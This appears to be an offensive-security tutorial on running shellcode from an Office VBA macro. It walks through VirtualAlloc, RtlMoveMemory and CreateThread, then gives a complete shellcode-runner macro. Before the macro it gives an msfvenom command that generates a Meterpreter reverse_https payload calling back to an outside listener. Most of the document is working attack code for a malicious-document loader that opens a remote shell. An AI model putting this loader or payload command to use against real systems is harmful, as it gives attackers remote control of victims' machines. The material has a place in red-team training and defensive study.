# Running Shellcode in Macro

## Allocating Memory with VirtualAlloc

To execute shellcode, we first need to allocate memory in the process. The `VirtualAlloc` function is used for this purpose. It takes the following parameters:

```c
LPVOID VirtualAlloc(
  LPVOID lpAddress,    // Memory location (set to 0 to let the system choose)
  SIZE_T dwSize,       // Size of the allocation
  DWORD flAllocationType, // Type of allocation (MEM_COMMIT | MEM_RESERVE)
  DWORD flProtect      // Memory protection (PAGE_EXECUTE_READWRITE)
);

```

In VBA, this function is declared as:

```vbnet
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" ( _
    ByVal lpAddress As LongPtr, _
    ByVal dwSize As Long, _
    ByVal flAllocationType As Long, _
    ByVal flProtect As Long) As LongPtr
```

* `lpAddress`: Set to `0` to let Windows decide the memory location.
* `dwSize`: The size of the memory block, determined dynamically using `UBound(buf)`.
* `flAllocationType`: Set to `&H3000` (equivalent to `MEM_COMMIT | MEM_RESERVE`).
* `flProtect`: Set to `&H40` (`PAGE_EXECUTE_READWRITE`) to ensure the memory can be both written to and executed​.

Example VBA Call:

```
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
```

## Copying Shellcode to Memory with RtlMoveMemory

After memory is allocated, we need to copy our shellcode into this memory location. The `RtlMoveMemory` function handles this:

```c
VOID RtlMoveMemory(
  VOID UNALIGNED *Destination, 
  VOID UNALIGNED *Source, 
  SIZE_T Length
);
```

VBA Declaration:

```vba
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" ( _
    ByVal lDestination As LongPtr, _
    ByRef sSource As Any, _
    ByVal lLength As Long) As LongPtr
```

* `lDestination`: Address of the allocated memory.
* `sSource`: The shellcode array.
* `lLength`: The length of the shellcode​.

Looping Through Shellcode:

```vbnet
For counter = LBound(buf) To UBound(buf)
    data = buf(counter)
    res = RtlMoveMemory(addr + counter, data, 1)
Next counter
```

## Executing the Shellcode with CreateThread

To execute the shellcode, we need to create a new execution thread using the `CreateThread` API:

```c
HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes, 
  SIZE_T                  dwStackSize, 
  LPTHREAD_START_ROUTINE  lpStartAddress, 
  LPVOID                  lpParameter, 
  DWORD                   dwCreationFlags, 
  LPDWORD                 lpThreadId
);
```

VBA Declaration:

```vbnet
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" ( _
    ByVal SecurityAttributes As Long, _
    ByVal StackSize As Long, _
    ByVal StartFunction As LongPtr, _
    ThreadParameter As LongPtr, _
    ByVal CreateFlags As Long, _
    ByRef ThreadId As Long) As LongPtr
```

* `StartFunction`: Address of the shellcode buffer (`addr`).
* Other arguments: Set to `0` since they are not required.

Executing the Shellcode:

```
res = CreateThread(0, 0, addr, 0, 0, 0)
```

## Full VBA Shellcode Runner Code

```bash
 msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f vbapplication
```

```vbnet
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" ( _
    ByVal SecurityAttributes As Long, _
    ByVal StackSize As Long, _
    ByVal StartFunction As LongPtr, _
    ThreadParameter As LongPtr, _
    ByVal CreateFlags As Long, _
    ByRef ThreadId As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" ( _
    ByVal lpAddress As LongPtr, _
    ByVal dwSize As Long, _
    ByVal flAllocationType As Long, _
    ByVal flProtect As Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" ( _
    ByVal lDestination As LongPtr, _
    ByRef sSource As Any, _
    ByVal lLength As Long) As LongPtr

Function mymacro()
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long
    Dim res As Long

    ' Example shellcode (placeholder)
    buf = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82)

    ' Allocate memory for shellcode
    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

    ' Copy shellcode into allocated memory
    For counter = LBound(buf) To UBound(buf)
        data = buf(counter)
        res = RtlMoveMemory(addr + counter, data, 1)
    Next counter

    ' Execute shellcode
    res = CreateThread(0, 0, addr, 0, 0, 0)
End Function

```
